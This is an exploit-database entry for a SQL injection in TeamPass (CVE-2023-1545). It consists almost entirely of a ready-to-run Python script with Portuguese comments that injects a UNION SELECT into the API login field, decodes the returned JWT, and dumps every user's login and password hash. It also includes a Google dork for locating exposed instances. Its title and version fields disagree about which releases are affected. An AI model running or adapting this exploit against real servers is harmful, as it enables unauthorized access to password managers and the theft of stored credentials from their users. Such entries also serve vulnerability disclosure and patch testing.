TeamPass 3.0.0.21 - SQL Injection

EDB-ID:

52094




Platform:

PHP

Date:

2025-03-22


# Exploit Title: TeamPass SQL Injection
# Google Dork: intitle:"Teampass" + inurl:index.php?page=items
# Date: 02/23/2025
# Exploit Author: Max Meyer - Rivendell
# Vendor Homepage: http://www.teampass.net
# Software Link: https://github.com/nilsteampassnet/TeamPass
# Version: 2.1.24 and prior
# Tested on: Windows/Linux
# CVE : CVE-2023-1545


#!/usr/bin/env python3
import sys
import json
import base64
import logging
import requests
from typing import Optional, Dict, Any
from dataclasses import dataclass

# Configuração de logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

@dataclass
class TeamPassExploit:
    base_url: str
    arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
    
    def __post_init__(self):
        self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"
        
    def check_api_enabled(self) -> bool:
        """Verifica se a API está habilitada."""
        try:
            response = requests.get(self.vulnerable_url)
            if "API usage is not allowed" in response.text:
                logger.error("API feature is not enabled")
                return False
            return True
        except requests.RequestException as e:
            logger.error(f"Erro ao verificar API: {e}")
            return False

    def execute_sql(self, sql_query: str) -> Optional[str]:
        """Executa uma query SQL através da vulnerabilidade."""
        try:
            inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
                     "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
                     "FROM teampass_users WHERE login='admin"
            
            data = {
                "login": inject,
                "password": "h4ck3d",
                "apikey": "foo"
            }
            
            response = requests.post(
                self.vulnerable_url,
                headers={"Content-Type": "application/json"},
                json=data
            )
            
            if not response.ok:
                logger.error(f"Erro na requisição: {response.status_code}")
                return None
                
            token = response.json().get('token')
            if not token:
                logger.error("Token não encontrado na resposta")
                return None
                
            # Decodifica o token JWT
            token_parts = token.split('.')
            if len(token_parts) < 2:
                logger.error("Token JWT inválido")
                return None
                
            payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
            return json.loads(payload).get('public_key')
            
        except Exception as e:
            logger.error(f"Erro ao executar SQL: {e}")
            return None

    def get_user_credentials(self) -> Optional[Dict[str, str]]:
        """Obtém credenciais de todos os usuários."""
        try:
            # Obtém número total de usuários
            user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
            if not user_count or not user_count.isdigit():
                logger.error("Não foi possível obter o número de usuários")
                return None
                
            user_count = int(user_count)
            logger.info(f"Encontrados {user_count} usuários no sistema")
            
            credentials = {}
            for i in range(user_count):
                username = self.execute_sql(
                    f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                password = self.execute_sql(
                    f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                
                if username and password:
                    credentials[username] = password
                    logger.info(f"Credenciais obtidas para: {username}")
                
            return credentials
            
        except Exception as e:
            logger.error(f"Erro ao obter credenciais: {e}")
            return None

def main():
    if len(sys.argv) < 2:
        logger.error("Usage: python3 script.py <base-url>")
        sys.exit(1)
        
    exploit = TeamPassExploit(sys.argv[1])
    
    if not exploit.check_api_enabled():
        sys.exit(1)
        
    credentials = exploit.get_user_credentials()
    if credentials:
        print("\nCredenciais encontradas:")
        for username, password in credentials.items():
            print(f"{username}: {password}")

if __name__ == "__main__":
    main()